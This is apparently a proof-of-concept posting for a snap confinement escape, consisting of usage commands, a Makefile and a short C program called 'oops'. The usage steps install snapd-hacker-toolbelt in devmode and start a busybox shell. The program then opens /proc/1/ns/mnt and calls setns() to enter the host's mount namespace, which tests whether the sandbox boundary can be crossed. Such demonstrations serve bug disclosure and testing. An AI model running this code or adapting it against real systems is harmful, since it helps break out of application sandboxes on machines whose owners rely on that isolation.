Usage instructions:
make
sudo snap install snapd-hacker-toolbelt --devmode
sudo snapd-hacker-toolbelt.busybox sh
./oops
.PHONY: all clean | |
CFLAGS += -Wall | |
all: oops | |
clean: | |
rm -f oops |
#define _GNU_SOURCE | |
#include <fcntl.h> | |
#include <sched.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
int main(void) | |
{ | |
int fd = open("/proc/1/ns/mnt", O_RDONLY | O_CLOEXEC | O_PATH); | |
if (fd < 0) { | |
perror("cannot open"); | |
return 1; | |
} | |
if (setns(fd, CLONE_NEWNS) < 0) { | |
perror("cannot setns"); | |
return 1; | |
}; | |
if (close(fd) < 0) { | |
perror("cannot close"); | |
return 1; | |
} | |
return 0; | |
} |